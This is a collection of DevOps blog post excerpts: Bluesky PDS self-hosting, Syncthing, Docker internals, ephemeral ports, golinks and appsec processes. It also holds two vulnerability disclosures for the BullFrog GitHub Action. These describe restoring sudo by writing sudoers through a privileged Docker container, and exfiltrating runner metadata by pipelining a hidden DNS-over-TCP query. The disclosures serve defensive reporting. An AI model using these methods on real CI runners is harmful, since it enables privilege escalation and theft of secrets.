Posts in Devops (20 found)

MOOving to a self-hosted Bluesky PDS

Bluesky is a “Twitter clone” that runs on the AT Protocol . I have to be honest, I’d struggle to explain how atproto works. I think it’s similar to Nostr but like, good? When atproto devs talk about The Atmosphere they sound like blockchain bros. The marketing needs consideration. Bluesky however, is a lot of fun. Feels like early Twitter. Nobody cool uses Twitter anymore ever. It’s a cesspit of racists asking Gork to undress women. Mastodon and Bluesky are the social platforms I use. I’ve always been tempted to self-host my own Mastodon instance but the requirements are steep. I use the omg.lol server instead. Self-hosting the Bluesky PDS is much less demanding. My setup includes: This is the host machine I glued an NVMe onto the underside. All services run as Docker containers for easy security sandboxing. I say easy but it took many painful years to master Docker. I have the Pi on a VLAN firewall because I’m extra paranoid. I setup my Bluesky PDS using the official Docker container. It’s configure with environment variables and has a single data volume mounted. I backup that volume to my NAS. I’ve put Caddy in front of the PDS container. Right now it just acts as a reverse proxy. This gives me flexibility later if I want to add access logs, rate limiting, or other plugins. Booo! If you know a good European alternative please let me know! The tunnel links Caddy to the outside world via Cloudflare to avoid exposing my home IP address. Cloudflare also adds an extra level of bot protection. The guides I followed suggest adding wildcard DNS for the tunnel. Cloudflare has shuffled the dashboard for the umpteenth time and I can’t figure out how. I think sub-domains are only used for user handles, e.g. . I use a different custom domain for my handle ( ) with a manual TXT record to verify. Allowing the PDS to send emails isn’t strictly necessary. It’s useful for password resets and I think it’ll send a code if I migrate PDS again. I went through the hassle of adding my PDS domain to Proton Mail and followed their SMTP guide . This shows how the PDS enviornment variables are formatted. It took me forever to figure out where the username and password went. PDS MOOver by Bailey Townsend is the tool that does the data migration. It takes your Bluesky password and probably sees your private key, so use at your own risk! I setup a new account to test it before I YOLO’d my main. MOOve successful! I still login at but I now select “custom account provider” and enter my PDS domain. SkyTools has a tool that confirms it. Bluesky Debug can check handles are verified correctly. PDSIs.dev is a neat atproto explorer. I cross-referenced the following guides for help: Most of the Cloudflare stuff is outdated because Cloudflare rolls dice every month. Bluesky is still heavily centralised but the atproto layer allows anyone to control their own data. I like doing that on principle. I don’t like maintenance, but I’ve heard that’s minimal for a PDS. Supposedly it’s possible to migrate back to Bluesky’s PDS if I get bored. I’m tempted to build something in The Atmosphere . Any ideas? Thanks for reading! Follow me on Mastodon and Bluesky . Subscribe to my Blog and Notes or Combined feeds. Notes on Self Hosting a Bluesky PDS Alongside Other Services Self-host federated Bluesky instance (PDS) with CloudFlare Tunnel Host a PDS via a Cloudflare Tunnel Self-hosting Bluesky PDS

0 views
devansh Yesterday

sudo restriction bypass via Docker Group in BullFrog GitHub Action

Least privilege is one of those security principles that everyone agrees with and almost nobody fully implements. In the GitHub Actions context, it means your workflow steps should only have the access they actually need, and no more. Running arbitrary third-party actions or build scripts as a user with unrestricted is a liability, one compromised dependency, one malicious action, and an attacker owns the runner. BullFrog , the egress-filtering agent for GitHub Actions I wrote about previously , ships a feature called specifically to address this. Set it and BullFrog removes sudo access for all subsequent steps in the job, or so it claims. is a BullFrog configuration option that, when set to , strips sudo privileges from the runner user for all steps that follow the BullFrog setup step. It's designed as a privilege reduction primitive, you harden the environment early in the job so that nothing downstream can accidentally (or intentionally) run as root. A typical hardened workflow looks like this: After this step, should fail, and subsequent steps should be constrained to what the unprivileged user can do. BullFrog achieves this by modifying the sudoers configuration, essentially removing or neutering the runner user's sudo entry. This works at the command level, the binary is still there, but the policy that would grant elevation is gone. On GitHub-hosted Ubuntu runners, the user is already a member of the group. This means the runner user can spawn Docker containers without sudo, no privilege escalation required to get Docker running. And Docker, when given and a host filesystem mount, is essentially root with extra steps. A privileged container with can write anywhere on the host filesystem, including . The sudo restriction is applied at one layer. Docker punches straight through to the layer below it. The feature only removes the sudoers entry for the runner user. It does not restrict Docker access, does not drop the runner from the group, and does not prevent privileged container execution. Because Docker daemon access is equivalent to root access on the host, the sudo restriction can be fully reversed in a single command — no password, no escalation, no interaction required. This drops a sudoers rule back into place by writing through the container's view of the host filesystem. After this, succeeds again and the runner has full root access for the rest of the job. The following workflow demonstrates the full bypass, disable sudo with BullFrog, confirm it's gone, restore it via Docker, confirm it's back: The workflow output confirms the sequence cleanly, BullFrog disables sudo, the verification step passes, Docker writes the sudoers rule, and the final step confirms full sudo access is back — all within the same job, all as the unprivileged user, no external dependencies beyond the Docker image. Reported to the BullFrog team on November 28th, 2025. No response, acknowledgment, or fix was issued in the roughly three months that followed. Disclosing publicly now. This is the second BullFrog vulnerability I'm disclosing simultaneously due to the same lack of response — see also: Bypassing egress filtering in BullFrog GitHub Action ). Affected Versions : v0.8.4 and likely all prior versions Fixed Versions : None as of disclosure date (I did not bother to check) What is BullFrog's ? How Sudo is Disabled The Docker Problem Vulnerability Proof of Concept Disclosure Timeline Discovery & Report : 28th November 2025 Vendor Contact : 28th November 2025 Vendor Response : None Public Disclosure : 28th February 2026

0 views
devansh Yesterday

Bypassing egress filtering in BullFrog GitHub Action

GitHub Actions runners are essentially ephemeral Linux VMs that execute your CI/CD pipelines. The fact that they can reach the internet by default has always been a quiet concern for security-conscious teams — one malicious or compromised step can silently exfiltrate secrets, environment variables, or runner metadata out to an attacker-controlled server. A handful of tools have been built to address exactly this problem. One of them is BullFrog — a lightweight egress-filtering agent for GitHub Actions that promises to block outbound network traffic to domains outside your allowlist. The idea is elegant: drop everything except what you explicitly trust. So naturally, I poked at it. BullFrog ( ) is an open-source GitHub Actions security tool that intercepts and filters outbound network traffic from your CI runners. You drop it into your workflow as a step, hand it an list and an , and it uses a userspace agent to enforce that policy on every outbound packet. A typical setup looks like this: After this step, any connection to a domain not on the allowlist should be blocked. The idea is solid. Supply chain attacks, secret exfiltration, dependency confusion — all of these require outbound connectivity. Cutting that off at the network layer is a genuinely good defensive primitive. The BullFrog agent ( ) intercepts outbound packets using netfilter queue (NFQUEUE). When a DNS query packet is intercepted, the agent inspects the queried domain against the allowlist. If the domain matches — the packet goes through. If it doesn't — dropped. For DNS over UDP, this is fairly straightforward: one UDP datagram, one DNS message. But DNS also runs over TCP, and TCP is where things get interesting. DNS-over-TCP is used when a DNS response exceeds 512 bytes (common with DNSSEC, large records, etc.), or when a client explicitly prefers TCP for reliability. RFC 1035 specifies that DNS messages over TCP are prefixed with a 2-byte length field to delimit individual messages. Crucially, the same TCP connection can carry multiple DNS messages back-to-back — this is called DNS pipelining (RFC 7766). This is the exact footgun BullFrog stepped on. BullFrog's function parses the incoming TCP payload, extracts the first DNS message using the 2-byte length prefix, checks it against the allowlist, and returns. It never looks at the rest of the TCP payload. If there are additional DNS messages pipelined in the same TCP segment, they are completely ignored. The consequence: if the first message queries an allowed domain, the entire packet is accepted — including any subsequent messages querying blocked domains. Those blocked queries sail right through to the upstream DNS server. The smoking gun is at agent/agent.go#L403 : The function slices , decodes that single DNS message, runs the policy check on it, and returns its verdict. Any bytes after — which may contain one or more additional DNS messages — are never touched. It's a classic "check the first item, trust the rest" mistake. The guard is real, but it only covers the front door. The first query acts as camouflage. The second is the actual payload — it can encode arbitrary data in the subdomain (hostname, runner name, env vars, secrets) and have it resolved by a DNS server the attacker controls. They observe the DNS lookup on their end and retrieve the exfiltrated data — no HTTP, no direct socket to a C2, no obvious telltale traffic pattern. The workflow setup to reproduce this: The script below builds two raw DNS queries, wraps each with a TCP 2-byte length prefix per RFC 1035, concatenates them into a single payload, and sends it over one TCP connection to . Runner metadata (OS, kernel release, hostname, runner name) is embedded in the exfiltration domain. Running this against a real workflow with BullFrog configured to allow only , the runner's OS, kernel version, hostname, and env variable were successfully observed in Burp Collaborator's DNS logs — proving that the second DNS query bypassed the policy entirely. I reported this to the BullFrog team on November 28th, 2025 via their GitHub repository. After roughly three months with no response, acknowledgment, or patch, I'm disclosing this publicly. The vulnerability is straightforward to exploit and affects any workflow using BullFrog with that routes DNS over TCP — which Google's supports natively. Affected Versions : v0.8.4 and likely all prior versions Fixed Versions : None as of disclosure date (did not bother to check) What is BullFrog? How It Works DNS Over TCP Vulnerability Vulnerable Code Proof of Concept Attack Scenario The PoC Script Disclosure Timeline Discovery & Report : 28th November 2025 Vendor Contact : 28th November 2025 Vendor Response : None Public Disclosure : 28th February 2026

0 views
Rik Huijzer 2 days ago

How To Run Services on a Linux Server

I have been running services myself for a few years on Linux servers. It took a while to figure out what works best. Here's what I've learned. First of all, all maintenance is done on headless servers via SSH. Learning this might seem daunting for some at first, but it is truly unbeatable in terms of productivity and speed. To easily log in via SSH, add the SSH keys to the server and then add the server to your `~/.ssh/config`. For example, ``` Host arnold Hostname 123.456.789.012 User rik IdentityFile ~/.ssh/arnold ``` Now you can log in via `ssh arnold` instead of having to ma...

0 views
Rik Huijzer 5 days ago

Setup a Syncthing service on Debian

Install via the APT instructions. Next (source): ``` useradd -u 1010 -c "Syncthing Service" -d /var/syncthing -s /usr/sbin/nologin syncthing mkdir /var/syncthing chown -R syncthing:syncthing /var/syncthing chmod 700 /var/syncthing systemctl enable [email protected] systemctl start [email protected] systemctl status [email protected] ``` Then you should be able to connect to the web GUI at `localhost:8385`. To allow this user to read files outside it's own directories, use ``` getfacl /some/other/dir ``` from `acl` (`apt-get install acl`) to view the permission...

0 views

Fixing qBittorrent in Docker, swallowing RAM and locking up the host

IntroI’ve had qBittorrent running happily in Docker for over a year now, using the linuxserver/qbittorrent image. I run the docker container and others on an Ubuntu Server host. Recently, the host regularly becomes unresponsive. SSH doesn’t work, and the only way to recover is to power cycle the server (running on a small NUC). The symptoms were: RAM usage would climb and climb, the server would become sluggish, and then it would completely lock up.

0 views

Testing a Laravel MCP Server Using Herd and Claude Desktop

I recently added an MCP server to ContributorIQ , using Laravel's native MCP server integration. Creating the MCP server with Claude Code was trivial, however testing it with the MCP Inspector and Claude Desktop was not because of an SSL issue related to Laravel Herd. If you arrived at this page I suppose it is because you already know what all of these terms mean and so I'm not going to waste your time by explaining. The issue you're probably facing is because MCP clients are looking for a valid SSL certificate if https is used to define the MCP server endpoint. The fix involves setting the environment variable to . If you want to test your MCP server using the official MCP Inspector, you can set this environment variable right before running the inspector, like so: If you'd like to test the MCP server inside Claude Desktop (which is what your end users will probably do), then you'll need to set this environment variable inside . I also faced Node version issues but suspect that's due to an annoying local environment issue, but I'll include that code in the snippet just in case it's helpful: Hope this helps.

0 views
Martin Fowler 6 days ago

Fragments: February 23

Do you want to run OpenClaw? It may be fascinating, but it also raises significant security dangers. Jim Gumbley, one of my go-to sources on security, has some advice on how to mitigate the risks. While there is no proven safe way to run high-permissioned agents today, there are practical patterns that reduce the blast radius. If you want to experiment, you have options, such as cloud VMs or local micro-VM tools like Gondolin. He outlines a series of steps to consider ❄                ❄                ❄                ❄                ❄ Caer Sanders shares impressions from the Pragmatic Summit . From what I’ve seen working with AI organizations of all shapes and sizes, the biggest indicator of dysfunction is a lack of observability. Teams that don’t measure and validate the inputs and outputs of their systems are at the greatest risk of having more incidents when AI enters the picture. I’ve long felt that people underestimated the value of QA in production . Now we’re in a world of non-deterministic construction, a modern perspective of observability will be even more important Caer finishes by drawing a parallel with their experience in robotics If I calculate the load requirements for a robot’s chassis, 3D model it, and then have it 3D-printed, did I build a robot? Or did the 3D printer build the robot? Most people I ask seem to think I still built the robot, and not the 3D printer. … Now, if I craft the intent and design for a system, but AI generates the code to glue it all together, have I created a system? Or did the AI create it? ❄                ❄                ❄                ❄                ❄ Andrej Karpathy is “very interested in what the coming era of highly bespoke software might look like.” He spent half-an-hour vibe coding a individualized dashboard for cardio experiments from a specific treadmill the “app store” of a set of discrete apps that you choose from is an increasingly outdated concept all by itself. The future are services of AI-native sensors & actuators orchestrated via LLM glue into highly custom, ephemeral apps. It’s just not here yet. ❄                ❄                ❄                ❄                ❄ I’ve been asked a few times about the role LLMs should play in writing. I’m mulling on a more considered article about how they help and hinder. For now I’ll say two central points are those that apply to writing with or without them. First, acknowledge anyone who has significantly helped with your piece. If an LLM has given material help, mention how in the acknowledgments. Not just is this being transparent, it also provides information to readers on the potential value of LLMs. Secondly, know your audience. If you know your readers will likely be annoyed by the uncanny valley of LLM prose, then don’t let it generate your text. But if you’re writing a mandated report that you suspect nobody will ever read, then have at it. (I hardly use LLMs for writing, but doubtless I have an inflated opinion of my ability.) ❄                ❄                ❄                ❄                ❄ In a discussion of using specifications as a replacement to code while working with LLMs, a colleague posted the following quotation “What a useful thing a pocket-map is!” I remarked. “That’s another thing we’ve learned from your Nation,” said Mein Herr, “map-making. But we’ve carried it much further than you. What do you consider the largest map that would be really useful?” “About six inches to the mile.” “Only six inches!” exclaimed Mein Herr. “We very soon got to six yards to the mile. Then we tried a hundred yards to the mile. And then came the grandest idea of all! We actually made a map of the country, on the scale of a mile to the mile!” “Have you used it much?” I enquired. “It has never been spread out, yet,” said Mein Herr: “the farmers objected: they said it would cover the whole country, and shut out the sunlight! So we now use the country itself, as its own map, and I assure you it does nearly as well.” from Lewis Carroll, Sylvie and Bruno Concluded, Chapter XI, London, 1893, acquired from a Wikipedia article about a Jorge Luis Borge short story. ❄                ❄                ❄                ❄                ❄ Grady Booch: Human language needs a new pronoun, something whereby an AI may identify itself to its users. When, in conversation, a chatbot says to me “I did this thing”, I - the human - am always bothered by the presumption of its self-anthropomorphizatuon. ❄                ❄                ❄                ❄                ❄ My dear friends in Britain and Europe will not come and visit us in Massachusetts. Some folks may think they are being paranoid, but this story makes their caution understandable. The dream holiday ended abruptly on Friday 26 September, as Karen and Bill were trying to leave the US. When they crossed the border, Canadian officials told them they didn’t have the correct paperwork to bring the car with them. They were turned back to Montana on the American side – and to US border control officials. Bill’s US visa had expired; Karen’s had not. “I worried then,” she says. “I was worried for him. I thought, well, at least I am here to support him.” She didn’t know it at the time, but it was the beginning of an ordeal that would see Karen handcuffed, shackled and sleeping on the floor of a locked cell, before being driven for 12 hours through the night to an Immigration and Customs Enforcement (ICE) detention centre. Karen was incarcerated for a total of six weeks – even though she had been travelling with a valid visa. Prioritize isolation first. Clamp down on network egress. Don’t expose the control plane. Treat secrets as toxic waste. Assume the skills ecosystem is hostile. Run endpoint protection.

0 views
neilzone 6 days ago

decoded.legal's .onion site no longer has TLS / https

tl;dr: As of 2026-02-23, http://dlegal66uj5u2dvcbrev7vv6fjtwnd4moqu7j6jnd42rmbypv3coigyd.onion no longer offers TLS. It just has Tor’s own transport encryption. I have run .onion sites for a long time. I like the idea of people being able to access resources within the Tor network, without needing to access the clearweb. These .onion services benefit from Tor’s transport encryption. For the last four years, the decoded.legal onion site ( http://dlegal66uj5u2dvcbrev7vv6fjtwnd4moqu7j6jnd42rmbypv3coigyd.onion ) also had a “normal” TLS certificate. Setting this up was relatively straightforward . However, renewing it is a manual operation and a bit a of a faff, which suggests that I am spoiled by Let’s Encrypt. When the certificate came up for renewal this year, I decided to remove it. Why? Because I’m just not persuaded that the incremental benefits of having TLS over Tor justifies the faff, or the (low) cost. The site still has Tor’s transport encryption. And, if I’m wrong, and I get loads of complaints (of which I am not really expecting a single one), I can also put it back. I did it this way: A few weeks ago, I turned off auto-redirection within my apache2 configuration. This meant that requests to the http onion site would not redirect automatically to the https onion site. I also changed the and headers, sent when someone visits the clearweb site ( https://decoded.legal ), in favour of the http, rather than https, URL for the .onion site. In , I commented out the line which I had put in place for port 443. I restarted Tor ( ). For apache2, I removed the config file symlink, for the https config file, from . I restarted apache2 ( ). A few weeks ago, I turned off auto-redirection within my apache2 configuration. This meant that requests to the http onion site would not redirect automatically to the https onion site. I also changed the and headers, sent when someone visits the clearweb site ( https://decoded.legal ), in favour of the http, rather than https, URL for the .onion site. In , I commented out the line which I had put in place for port 443. I restarted Tor ( ). For apache2, I removed the config file symlink, for the https config file, from . I restarted apache2 ( ).

0 views

Binding port 0 to avoid port collisions

It's common to spin up a server in a test so that you can do full end-to-end requests of it. It's a very important sort of test, to make sure things work all together. Most of the work I do is in complex web backends, and there's so much risk of not having all the request processing and middleware and setup exactly the same in a mock test... you must do at least some end-to-end tests or you're making a gamble that's going to bite you. And this is great, but you quickly run into a problem: port collisions! This can happen when you run multiple tests at once and all of them start a separate server, and whoops, two have picked the same port. Or it can happen if something else running on your development machine happens to be running on the port you chose. It's annoying when it happens, too, because it's often hard to reproduce. So... how do we fix that? You read the title [1] , so you know where we're going, but let's go there together. There are a few potential solutions to this. Perhaps the most obvious is binding to a port you choose randomly. This will work a lot of the time, but it's going to be flaky. You can drive down the probability of collision, but it's going to happen sometimes. Side note, I think the only thing worse than a test that fails 10% of the time is one that fails 1% of the time. It's not flaky enough to drive urgency for anyone to fix it, but it's flaky enough that in a team context, you will run into this on a daily basis. Ask me how I know. How often you get a collision depends on a lot of factors. How many times do you bind a port in the range? How many other services might bind something in that range? How likely are two things to run concurrently? As a simple example, let's say we pick a random port in the range 9000-9999, and you have 4 concurrent tests that will overlap. If you uniformly sample from this range, then you will have a 1/1000 chance of a collision from the second test, a 2/1000 chance from the third, and a 3/1000 chance from the fourth. Our probability of having no collision is . That means that we have a 0.6% chance of a collision. This isn't horrible, but it's not great! We could also have each test increment the port it picks by 1. I've done this before, and it avoids one set of problems from collisions, but it makes a new problem. Now you're sweeping across the entire range starting from the first port. If you have anything else running on your system that binds in that range, you'll run into a collision! And if you run your entire test suite in parallel, you're much more likely to have a problem now, since they all start at the same port. The problem we've had all along is that we don't have full information. If we know the system state and all the currently open ports, then binding to one that's not in use is an easy problem. And you know who knows all that info? The kernel does. And it turns out, this is something we can ask the kernel for. We can just say "please give me a nice unused port" and it will! There's a range of ports that the kernel uses for this. It varies by system, but it's not usually very relevant what the particular range is. On my system, I can find the range by checking . My ephemeral port range is from 32768 to 60999. I'm curious why the range stops there instead of going all the way up, so that's a future investigation. To get an ephemeral port on Linux systems, you bind or listen on port 0 . Then the kernel will hand you back a port in the ephemeral range. And you know that it's available, since the kernel is keeping track. It's possible to have an issue here if the full range of ports has been exhausted but, you know what, if you hit that limit, you probably have other problems [2] . The only thing is that if you've bound to an unknown port, how do you send requests to it? We can get the port we've bound to by another syscall, . This lets us find out what address a socket is bound to, and then we can do something with that information. For tests, that means that you'll need to find a way to communicate this port from the listener to the requester. If they're in the same process, I like to do this by either injecting in the listener or returning the address. If you're doing something like postgres or redis on an ephemeral port, then you'd probably have to find the port from its output, which is tedious but doable. Here's an example from a web app I'm working on. This is how a simple test looks. We launch the web server, binding to port 0, and get the address back. Then we can send requests to that address! And inside , the relevant two lines are: ...where in our case. That's all we have to do, and we'll get a much more reliable test setup. I think suspenseful titles can be fun, improve storytelling, and drive attention. But sometimes you really need a clear, honest, spoiler of a title. Giving away the answer is great when you're giving information that people might want to quickly internalize. ↩ If you do run into this, I'm very curious to hear about the circumstances. It's the kind of problem that I'd love to look at and work on. It's kind of messy, and you know that there's something very interesting that led to it being this way. ↩ I think suspenseful titles can be fun, improve storytelling, and drive attention. But sometimes you really need a clear, honest, spoiler of a title. Giving away the answer is great when you're giving information that people might want to quickly internalize. ↩ If you do run into this, I'm very curious to hear about the circumstances. It's the kind of problem that I'd love to look at and work on. It's kind of messy, and you know that there's something very interesting that led to it being this way. ↩

0 views
Justin Duke 6 days ago

Golinks

If you've never encountered golinks before: they're short, memorable URLs that redirect to longer ones. Instead of telling a coworker "the dashboard is at ," you just say . Instead of bookmarking seventeen different Notion pages, you type or or and trust that you'll end up in the right place. I discovered them at Stripe, though I believe they were invented at Google, and I have not stopped using them since. One thing leads to another. You decide that you no longer need Tailscale because the main reason you spun up Tailscale was for a project that ended up shipping — and therefore spending per-seat pricing on a service that you literally only use for golinks seems a bit silly and prohibitive. 1 Side note: I still really love Tailscale and think it's a great product and would be shocked if we aren't using it again by the end of the year. But! And then you need to find a replacement for golinks, and you cannot get dragged back to golinks.io or Trotto, both of which are slow, cumbersome, and expensive besides. So what was I to do? First, I looked at the open source options, none of which struck me as particularly compelling. I have a set of requirements that I don't think are esoteric, but others might: And nothing quite fit the bill. I had a revelation: I discovered that you could use a default search engine as the routing proxy instead of or DNS interception like Tailscale's MagicDNS. For a week or two, I had this sitting within Django in our monorepo out of ease — simply intercept any incoming search query, redirect it if something's already in the database, and then if it's not but it looks like it could be, send to the empty state prompting the user to create a golink. But frankly, this was just slower than I wanted. Not for any interesting reason, but just the usual Python request-response lifecycle stuff. I could, of course, invest in making it better and faster and was planning on doing so, but figured I would take one last trip around the internet to see if there was some other solution that I somehow missed. And that's when I discovered GoToTools . There is nothing really interesting to say about this product besides the fact that it is very good for what it does. Its author appears to have built it out of the same frustration that I had. And the highest compliment I can give it is that in a year where I've already cut down substantially on the number of services I pay for — in favor of those that I vend — I have absolutely no compunction about starting to use this. The pricing is extraordinary. The performance is really good. It works and is fast and lets me not spend time thinking about golinks and instead lets me spend time using them. A reasonable price Persistence The ability to use golinks without a Chrome extension Performance

0 views
Jeremy Daly 1 weeks ago

Context Engineering for Commercial Agent Systems

Memory, Isolation, Hardening, and Multi-Tenant Context Infrastructure

0 views
Karboosx 1 weeks ago

How Docker Actually Works (No Magic, Just Linux)

Stop thinking of Docker as a mini-VM. It’s not! It’s just a normal Linux process that has been told a very elaborate series of lies. I'll show you exactly how the Linux kernel uses Namespaces and cgroups to create the "magic" of containers without any of the VM overhead.

0 views
Carlos Becker 1 weeks ago

Announcing GoReleaser v2.14

Happy 2026! The first release of the year is here, and it is packed with goodies!

0 views
Neil Madden 1 weeks ago

Looking for vulnerabilities is the last thing I do

There’s a common misconception among developers that my job, as a (application) Security Engineer, is to just search for security bugs in their code. They may well have seen junior security engineers doing this kind of thing. But, although this can be useful (and is part of the job), it’s not what I focus on and it can be counterproductive. Let me explain. If I’m coming into a company as the sole or lead application security engineer (common), especially if they haven’t had someone doing that role for a while, my first task is always to see how mature their existing processes and tooling are. If we find a vulnerability, how quickly are they likely to be able to fix it and get a patch out? The fixing-the-bug part of this is the easy part. Developers usually have established procedures in place for fixing bugs. Often, organisations that don’t have established processes for security get bogged down in the communication to customers phase: nobody knows who can sign-off a security advisory, so things tend to escalate. It’s not unusual to find people insisting that everything needs to be run past the CEO and Legal. All this is to say that for companies with low security maturity, finding security bugs comes with a very outsized overhead in terms of tying up resources. If your security team is one or two people, then this makes it harder to get out of this rut and into a better place. So my primary job is to improve the processes and documentation so that these incidents become a well-oiled machine, and don’t tie up resources any more than necessary. I generally use OWASP SAMM as a framework to measure what needs to be done (sticking largely to the Design, Implementation & Verification functions), but it boils down to a number of phases to raise the bar: In both SAMM and my phases above, looking for bugs is way down the list. There will be bugs. There will be lots of bugs, and some of them will be really serious. If you go looking for them, you will find them, and that will feel good and earn some kudos. And it will make the product a little bit more secure. But if you instead wait and do the boring grunt work first to improve the security posture of the organisation, then when you do find the security bugs you will be in a better place to fix them systematically and prevent them coming back. Otherwise you risk perpetually fighting just to keep your head above water fixing one ad-hoc issue after another, which is a way to burn out and leaving the org no better off than when you joined. Firstly, stopping the rot. If there has not been a culture of security previously, then developers may still be implementing features in a way that introduces new security issues in future. There are few techniques as effective as having your developers know and care about security. Specific tasks here include revamping the secure development training (almost always crap, I tend to develop something in-house, tailored to the org), introducing threat modelling, and adding code review checklists/guidelines. Develop internal standards for at least the following (and then communicating them to developers!): Secure coding and code review Use of cryptography Vulnerability management (detection, tracking, prioritisation, remediation, and communication) Identifying a “security champion” in each team and teaching them how to triage and score vulnerabilities with CVSS, so this doesn’t become another bottleneck on the appsec team/individual. This also helps foster the idea that security is developers’ responsibility, not something to off-load to a separate security person. Securing build pipelines, and adding standard tooling: SCA first, then secret scans, and then SAST. Report-only to begin with, with regular meetings to review any High/Critical issues and identify false positives. Only start failing the build once confidence in the tool has been earned. Finally, after all this is in place, then I will start actively looking for security bugs: via more aggressive SAST, DAST (e.g. OWASP ZAP), internal testing/code review, and competent external pen tests. (Often orgs have existing tick-box external pen testing for compliance, so this is about finding pentesters who actually know how to find bugs).

0 views
Takuya Matsuyama 1 weeks ago

How to run Claude Code in a Tmux popup window with persistent sessions

Hey, what's up? It's Takuya. I've been using Claude Code in my terminal workflow. At first, I was running it at the right side of my terminal using tmux, but I found it not useful because it was too narrow to display messages and diffs. I often had to press to maximize the pane, which was painful. Next, I started using popup windows to run Claude Code — press a keybinding, get a Claude Code session, dismiss it, and pick up right where you left off. In this article, I'd like to share how to configure tmux to accomplish it. You can display popup windows with command, which is great for quick-access tools. I've been using it for quickly checking git status with like this: My prefix key is , so it is bound to . This works perfectly for LazyGit because it's a short-lived process — you open it, stage some changes, commit, and close it. However, there is a problem with running Claude Code (or any other AI tools) in tmux popup windows. You want to keep a conversation going across multiple interactions. If you bind Claude Code the same way: ...you'll find that closing the popup also kills the Claude Code process. There's no way to dismiss the popup without quitting the session. You'd have to start fresh every time, which defeats the purpose. The trick is to run Claude Code in a separate tmux session, and then attach to that session inside the popup, which means that you are going to use nested tmux sessions. When you close the popup, the session keeps running in the background. Here's the full configuration: Let's break down what this does: This takes the current pane's working directory, hashes it with MD5, and uses the first 8 characters as a session identifier. So you get session names like . The key insight here is that each directory gets its own Claude Code session. The check prevents creating duplicate sessions. If a session for this directory already exists, it skips creation entirely. Otherwise, it creates a new detached session ( ) with the working directory set to your current path ( ), running Claude Code as the initial command. This opens an 80%-sized popup that attaches to the background session. You can change it as you like. When you close the popup (with or your detach keybinding), the session stays alive. Yippee! My dotfiles are available here: That's it. A very simple and intuitive hack. I hope it's helpful for your AI coding workflow :) Have a productive day! Generate a unique session name from the working directory Create the session if it doesn't already exist Attach to the session in a popup

0 views
Martin Fowler 1 weeks ago

Fragments: February 18

I’ll start with some more tidbits from the Thoughtworks Future of Software Development Retreat ❄                ❄ We were tired after the event, but our marketing folks forced Rachel Laycock and I to do a quick video. We’re often asked if this event was about creating some kind of new manifesto for AI-enabled development, akin to the Agile Manifesto (which is now 25 years old). In short, our answer is “no”, but for the full answer, watch our video ❄                ❄ My colleagues put together a detailed summary of thoughts from the event, in a 17 page PDF. It breaks the discussion down into eight major themes, including “Where does the rigor go?”, “The middle loop: a new category of work”, “Technical foundations: languages, semantics and operating systems”, and “The human side: roles, skills and experience”. The retreat surfaced a consistent pattern: the practices, tools and organizational structures built for human-only software development are breaking in predictable ways under the weight of AI-assisted work. The replacements are forming, but they are not yet mature. The ideas ready for broader industry conversation include the supervisory engineering middle loop, risk tiering as the new core engineering discipline, TDD as the strongest form of prompt engineering and the agent experience reframe for developer experience investment. ❄                ❄ Annie Vella posted her take-aways from the event I walked into that room expecting to learn from people who were further ahead. People who’d cracked the code on how to adopt AI at scale, how to restructure teams around it, how to make it work. Some of the sharpest minds in the software industry were sitting around those tables. And nobody has it all figured out. There is more uncertainty than certainty. About how to use AI well, what it’s really doing to productivity, how roles are shifting, what the impact will be, how things will evolve. Everyone is working it out as they go. I actually found that to be quite comforting, in many ways. Yes, we walked away with more questions than answers, but at least we now have a shared understanding of the sorts of questions we should be asking. That might be the most valuable outcome of all. ❄                ❄ Rachel Laycock was interviewed in The New Stack (by Jennifer Riggins) about her recollections from the retreat. AI may be dubbed the great disruptor, but it’s really just an accelerator of whatever you already have. The 2025 DORA report places AI’s primary role in software development as that of an amplifier — a funhouse mirror that reflects back the good, bad, and ugly of your whole pipeline. AI is proven to be impactful on the individual developer’s work and on the speed of writing code. But, since writing code was never the bottleneck, if traditional software delivery best practices aren’t already in place, this velocity multiplier becomes a debt accelerator. ❄                ❄ LLMs are eating specialty skills. There will be less use of specialist front-end and back-end developers as the LLM-driving skills become more important than the details of platform usage. Will this lead to a greater recognition of the role of Expert Generalists ? Or will the ability of LLMs to write lots of code mean they code around the silos rather than eliminating them? Will LLMs be able to ingest the code from many silos to understand how work crosses the boundaries? ❄                ❄ Will LLMs be cheaper than humans once the subsidies for tokens go away? At this point we have little visibility to what the true cost of tokens is now, let alone what it will be in a few years time. It could be so cheap that we don’t care how many tokens we send to LLMs, or it could be high enough that we have to be very careful. ❄                ❄ Will the rise of specifications bring us back to waterfall-style development ? The natural impulse of many business folks is “don’t bother me until it’s finished”. Does the process of evolutionary design get helped or hindered by LLMs? My instinctive reaction is that all depends on our workflow. I don’t think LLMs change the value of rapidly building and releasing small slices of capability. The promise of LLMs is to increase the frequency of that cycle, and doing more in each release. ❄                ❄ Sadly the session on security had a small turnout. One large enterprise employee commented that they were deliberately slow with AI tech, keeping about a quarter behind the leading edge. “We’re not in the business of avoiding all risks, but we do need to manage them”. Security is tedious, people naturally want to first make things work, then make them reliable, and only then make them secure. Platforms play an important role here, make it easy to deploy AI with good security. Are the AI vendors being irresponsible by not taking this seriously enough? I think of how other engineering disciplines bake a significant safety factor into their designs. Are we doing that, and if not will our failure lead to more damage than a falling bridge? There was a general feeling that platform thinking is essential here. Platform teams need to create a fast but safe path - “bullet trains” for those using AI in applications building. ❄                ❄ One of my favorite things about the event was some meta-stuff. While many of the participants were very familiar with the Open Space format, it was the first time for a few. It’s always fun to see how people quickly realize how this style of (un)conference leads to wide-ranging yet deep discussions. I hope we made a few more open space fans. One participant commented how they really appreciated how the sessions had so much deep and respectful dialog. There wasn’t the interruptions and a few people gobbling up airtime that they’d seen around so much of the tech world. Another attendee, commented “it was great that while I was here I didn’t have to feel I was a woman, I could just be one of the participants”. One of the lovely things about Thoughtworks is that I’ve got used to that sense of camaraderie, and it can be a sad shock when I go outside the bubble. ❄                ❄                ❄                ❄                ❄ I’ve learned much over the years from Stephen O’Grady’s analysis of the software industry. He’s written about how much of the profession feels besieged by AI. these tools are, or can be, powerful accelerants and enablers for people that dramatically lower the barriers to software development. They have the ability to democratize access to skills that used to be very difficult, or even possible for some, to acquire. Even a legend of the industry like Grady Booch, who has been appropriately dismissive of AGI claims and is actively disdainful of AI slop posted recently that he was “gobsmacked” by Claude’s abilities. Booch’s advice to developers alarmed by AI on Oxide’s podcast last week? “Be calm” and “take a deep breath.” From his perspective, having watched and shaped the evolution of the technology first hand over a period of decades, AI is just another step in the industry’s long history of abstractions, and one that will open new doors for the industry. …whether one wants those doors opened or not ultimately is irrelevant. AI 